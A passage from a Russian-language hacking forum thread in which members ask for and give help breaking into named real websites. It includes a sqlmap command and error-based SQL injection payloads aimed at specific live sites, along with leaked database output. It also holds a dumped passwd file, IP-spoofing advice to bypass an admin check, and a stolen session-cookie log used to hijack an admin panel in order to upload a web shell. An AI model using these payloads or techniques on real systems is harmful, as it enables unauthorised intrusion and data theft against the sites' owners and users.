Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,786
    Likes Received:
    399
    Reputations:
    230
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    как Remote File Inclusion (RFI) Идем читать статьи по PHP инклудам, в часто задаваемых вопросах, закрепленной ветки этого раздела - https://forum.antichat.ru/threads/104591/
     
    _________________________
  3. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Ошибка при сканировании sqlmap
    Code:
    [23:52:55] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system. Support for this DBMS will be implemented at some point
    Запрос:

    Code:
     python sqlmap.py -u "http://www.doskaurala.ru/add.php?cats=3" --eta --random-agent --threads=8 --level=5 --union-cols=1-66 --dbms="MySQL" --technique=EBU --current-db
    
    Я так понял из ошибки,что он не может разобрать что за БД используется.

    Как тогда в этом случае подставлять запрос?
     
  4. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
  5. zifus

    zifus Member

    Joined:
    15 Aug 2015
    Messages:
    85
    Likes Received:
    11
    Reputations:
    0
    Как открыть paswd.db и group.db
     
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    смотря от чего эти файлы.
     
    _________________________
  7. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,778
    Likes Received:
    848
    Reputations:
    857
    блокнотом, даже если содержимое не читается.

    Посмотри первые 5-6 байт, там обычно светится сигнатура, по которой можно определить реальное приложение для работы с файлами.
     
    _________________________
  8. zifus

    zifus Member

    Joined:
    15 Aug 2015
    Messages:
    85
    Likes Received:
    11
    Reputations:
    0
    Это с сервера
    кусок с passwd а ниже идут юзеры
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync

    А открываю блокнотом еще и еироглефы какие то
    читал что без /etc/shadow не открыть
     
  9. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Если у Вас не получается использовать лимит, заверните group_concat в mid/substr/substring.
     
    DezMond™ likes this.
  10. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    144
    Likes Received:
    148
    Reputations:
    16
    Здравствуйте, вот уже долго гляжу в поиске античата, но не могу найти более-менее понятных статей о поиске уязвимостей на серверах. т.е. что висит на портах например, где бывают дырки. т.е. есть сервер на который хотелось бы залить шелл, но сложно понять с какой стороны копать, есть Postfix на сервере, подключился по telnet helo выполняется а остальные - error. и то, helo через раз. Может кто подскажет годных статей для начинающих. На вебморде только Zimbra. Много видел статей по взлому именно web сайтов. А тут имеется лишь форма логина и остальное сопутное на сервере на разных портах.
     
    #571 Sharingan, 19 Sep 2015
    Last edited: 19 Sep 2015
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    _________________________
    Br@!ns likes this.
  12. Timmkoy

    Timmkoy New Member

    Joined:
    28 Jul 2015
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Есть одна долгая TimeBased sql injection, что с ней можно сделать?
    Как слить базу?
     
  13. ButilkaSoka

    ButilkaSoka Member

    Joined:
    4 Jun 2015
    Messages:
    22
    Likes Received:
    12
    Reputations:
    0
    Есть проблема с WAF
    Code:
    http://www.spbpost.ru/index.php?page_id=305+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+
    Пробовал обходить, но не всеми способами.


    А тут вообще без понятие что делать, не сталкивался с таким
    Code:
    http://frostland.pro/shop/search
    
    POST:
    search=%cd%e0%e9%f2%e8&searchword=1'%00
    хелп
     
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    По первому линку, как вариант, добиваться вывода не через конструкцию union select, а через XPATH

    C пробелами:

    Code:
    http://www.spbpost.ru/index.php?page_id=305 and extractvalue rand(),concat(0x3a,version(),0x3a,user()))--
    Аналог без пробелов:

    Code:
    http://www.spbpost.ru/index.php?page_id=305*updatexml(0,lpad(user(),22,0x3A),1)#
     
    ButilkaSoka likes this.
  15. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
    во втором случае так же через Error-based вектор:
    POST
    searchword=asf'or(ExtractValue(1,concat(0x3a,(select(version())))))='1%00&search=%CD%E0%E9%F2%E8'

    XPATH syntax error: ':10.0.11-MariaDB'
    XPATH syntax error: ':frostla_main@37.187.136.213'

    PS в следующий раз, если скуля в месте где нужно быть авторизованым, выкладывайте тестовый акк
     
    #576 Br@!ns, 20 Sep 2015
    Last edited: 20 Sep 2015
    ButilkaSoka likes this.
  16. ynk

    ynk New Member

    Joined:
    21 Sep 2015
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    index.php?p=cvv&CONTRY=&STATE=&City=&TYPE=&BASE=12.08.2015+MIX&BIN=&sub=Apply+filter
    что можно сделать? :D
     
    #577 ynk, 21 Sep 2015
    Last edited: 22 Sep 2015
  17. ButilkaSoka

    ButilkaSoka Member

    Joined:
    4 Jun 2015
    Messages:
    22
    Likes Received:
    12
    Reputations:
    0
    хелп
    Есть данные админки, не пускает, походу пускает через ip, но они тоже есть(ip), возможно ли их подставить, если да, то как?
     
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    Если идет обработка IP по заголовку X-Forwarded-For "$_SERVER['HTTP_X_FORWARDED_FOR'];" то можно сделать подмену IP в заголовках хидера
    Полезно почитать для понимания:
    http://php.net/manual/ru/reserved.variables.php#79359
    http://phpfaq.ru/ip
     
    _________________________
    #579 winstrool, 21 Sep 2015
    Last edited: 21 Sep 2015
    ButilkaSoka likes this.
  19. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Столкнулся с проблемой загрузки шелла. Итак, перехватил данные куки - залогился , но когда нажимаю править новость в надежде загрузить шелл, то выскакивает окно Basic Authorization
    Code:
    http://timer-odessa.net
    Log:
    Code:
    <PRE>Array
    (
    [admin] => file
    [do] => upload
    [ID] =>
    [MaterialName] => новая запись
    [UrlAlias] =>
    [ajax] => 1
    [qqfile] => 2.jpg
    [tinymcePasteText] => 1
    [__cfduid] => d324f6c51adb790a7d0cce7ebea72e8291425213546
    [__utma] => 31476155.825643414.1425214893.1442902126.1442908595.874
    [__utmb] => 31476155.3.10.1442908595
    [__utmc] => 31476155
    [__utmz] => 31476155.1441743778.772.137.utmcsr=facebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/
    [_ym_visorc_15944878] => w
    [PHPSESSID] => 2defc90036f0f83fb04646af0e2ab3dc
    )
    </PRE>
    
    P.S Уже в учётке менял пароль, все равно это окно выскакивает!
     
Loading...